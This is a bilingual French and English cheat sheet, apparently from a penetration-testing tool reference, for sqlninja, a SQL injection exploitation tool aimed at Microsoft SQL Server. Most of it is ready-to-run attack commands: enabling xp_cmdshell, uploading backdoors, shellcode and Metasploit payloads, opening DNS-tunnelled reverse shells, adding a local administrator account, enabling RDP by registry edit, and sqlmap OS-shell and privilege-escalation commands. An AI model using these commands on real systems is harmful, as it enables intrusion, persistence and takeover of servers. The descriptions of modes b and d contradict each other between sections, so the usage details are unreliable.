sqlninja
Outil d'exploitation d'injection SQL ciblant Microsoft SQL Server. Upload du shellcode, active xp_cmdshell, escalade les privilèges, et fournit un accès shell via injection SQL. SQL injection exploitation tool targeting Microsoft SQL Server. Uploads shellcode, enables xp_cmdshell, escalates privileges, and provides shell access via SQL injection.
↗ http://sqlninja.sourceforge.net/Overview
sqlninja exploits SQL injection vulnerabilities in web applications backed by Microsoft SQL Server. Unlike sqlmap’s focus on data extraction, sqlninja focuses on gaining OS-level access — enabling xp_cmdshell, uploading binaries, adding OS users, and establishing reverse shells through SQL injection.
Basic Usage
# Configure target in sqlninja.conf first
# Then run modes:
Test SQL injection and connectivity
sqlninja -m t
Enumerate users, databases, version
sqlninja -m f
Try to enable xp_cmdshell
sqlninja -m x
Upload and execute a backdoor
sqlninja -m b
Get reverse shell via DNS tunneling
sqlninja -m d
Configuration (sqlninja.conf)
Edit configuration file
nano /etc/sqlninja/sqlninja.conf
# Key settings:
# httprequest_file = /tmp/request.txt (captured HTTP request)
# mssql_version = 2005 (or 2000, 2008, 2012+)
# domain = <yourdomain> (for DNS tunnel)
# dnssrv = <your_dns_server>
# Capture the vulnerable HTTP request with Burp/browser:
# Save the request body to a file and reference it
Modes
-m t : Test mode — verify SQL injection exists
sqlninja -m t -f sqlninja.conf
-m f : Fingerprint — enumerate SQL Server version, user, databases
sqlninja -m f
-m x : xp_cmdshell — enable extended stored procedures
sqlninja -m x
-m e : Execute command via xp_cmdshell
sqlninja -m e -c "whoami"
-m b : Backchannel via DNS (requires configured DNS server)
sqlninja -m b
-m d : Upload metasploit payload
sqlninja -m d
-m s : Upload shellcode
sqlninja -m s
-m p : Pivoting
sqlninja -m p
xp_cmdshell Exploitation
# Once xp_cmdshell is enabled, run OS commands:
sqlninja -m e -c "whoami"
sqlninja -m e -c "net user"
sqlninja -m e -c "ipconfig"
# Add admin user
sqlninja -m e -c "net user hacker P@ssw0rd /add"
sqlninja -m e -c "net localgroup administrators hacker /add"
RDP enable
sqlninja -m e -c "reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"
Alternative: sqlmap for MSSQL
# sqlmap is often more reliable for data extraction
# Use sqlninja for OS shell access
# sqlmap OS shell via xp_cmdshell
sqlmap -u "http://target/vuln.asp?id=1" --os-shell
sqlmap -u "http://target/vuln.asp?id=1" --os-cmd "whoami"
sqlmap privilege escalation
sqlmap -u "http://target/vuln.asp?id=1" --priv-esc
Tips
- sqlninja is specifically for MSSQL — use sqlmap for MySQL, PostgreSQL, Oracle
- xp_cmdshell must be enabled by SA (sysadmin) — check if DB user has sysadmin first
- DNS backchannel is useful when outbound TCP is blocked but DNS is allowed
- Captured Burp request format works directly — intercept the vulnerable request and save to file
Help / Man page
sqlninja [options]
-m MODE Mode:
t = test for SQL injection
f = fingerprint
x = try to enable xp_cmdshell
e = execute command
s = upload shellcode
b = backchannel via DNS
d = download file
p = port scanning via SQL Server
l = privilege escalation
-f FILE Config file (default: sqlninja.conf)
-c CMD Command to execute (for -m e)
-p PORT Port for connect-back
-v Verbose
Vue d’ensemble
sqlninja exploite les vulnérabilités d’injection SQL dans les applications web adossées à Microsoft SQL Server. Contrairement à sqlmap qui se concentre sur l’extraction de données, sqlninja se concentre sur l’obtention d’un accès au niveau OS : activer xp_cmdshell, uploader des binaires, ajouter des utilisateurs OS et établir des reverse shells via injection SQL.
Utilisation de base
# Configurer la cible dans sqlninja.conf d'abord
# Puis lancer les modes :
# Tester l'injection SQL et la connectivité
sqlninja -m t
# Énumérer utilisateurs, bases de données, version
sqlninja -m f
# Essayer d'activer xp_cmdshell
sqlninja -m x
# Uploader et exécuter une backdoor
sqlninja -m b
# Obtenir un reverse shell via tunneling DNS
sqlninja -m d
Configuration (sqlninja.conf)
nano /etc/sqlninja/sqlninja.conf
# Paramètres clés :
# httprequest_file = /tmp/request.txt (requête HTTP capturée)
# mssql_version = 2005 (ou 2000, 2008, 2012+)
# domain = <yourdomain> (pour le tunnel DNS)
# dnssrv = <your_dns_server>
# Capturer la requête HTTP vulnérable avec Burp/navigateur :
# Sauvegarder le corps de la requête dans un fichier et le référencer
Modes
# -m t : mode test, vérifier qu'une injection SQL existe
sqlninja -m t -f sqlninja.conf
# -m f : fingerprint, énumérer la version SQL Server, l'utilisateur, les bases
sqlninja -m f
# -m x : xp_cmdshell, activer les procédures stockées étendues
sqlninja -m x
# -m e : exécuter une commande via xp_cmdshell
sqlninja -m e -c "whoami"
# -m b : backchannel via DNS (nécessite un serveur DNS configuré)
sqlninja -m b
# -m d : uploader un payload metasploit
sqlninja -m d
# -m s : uploader un shellcode
sqlninja -m s
# -m p : pivoting
sqlninja -m p
Exploitation via xp_cmdshell
# Une fois xp_cmdshell activé, exécuter des commandes OS :
sqlninja -m e -c "whoami"
sqlninja -m e -c "net user"
sqlninja -m e -c "ipconfig"
# Ajouter un utilisateur admin
sqlninja -m e -c "net user hacker P@ssw0rd /add"
sqlninja -m e -c "net localgroup administrators hacker /add"
Activer RDP
sqlninja -m e -c "reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"
Alternative : sqlmap pour MSSQL
# sqlmap est souvent plus fiable pour l'extraction de données
# Utiliser sqlninja pour l'accès shell OS
# Shell OS sqlmap via xp_cmdshell
sqlmap -u "http://target/vuln.asp?id=1" --os-shell
sqlmap -u "http://target/vuln.asp?id=1" --os-cmd "whoami"
Escalade de privilèges sqlmap
sqlmap -u "http://target/vuln.asp?id=1" --priv-esc
Conseils
- sqlninja est spécifiquement pour MSSQL : utiliser sqlmap pour MySQL, PostgreSQL, Oracle
- xp_cmdshell doit être activé par le SA (sysadmin) : vérifier d’abord si l’utilisateur DB a les droits sysadmin
- Le backchannel DNS est utile quand le TCP sortant est bloqué mais le DNS autorisé
- Le format de requête capturée par Burp fonctionne directement : intercepter la requête vulnérable et la sauvegarder dans un fichier
Aide / Page de manuel
sqlninja [options]
-m MODE Mode:
t = test for SQL injection
f = fingerprint
x = try to enable xp_cmdshell
e = execute command
s = upload shellcode
b = backchannel via DNS
d = download file
p = port scanning via SQL Server
l = privilege escalation
-f FILE Config file (default: sqlninja.conf)
-c CMD Command to execute (for -m e)
-p PORT Port for connect-back
-v Verbose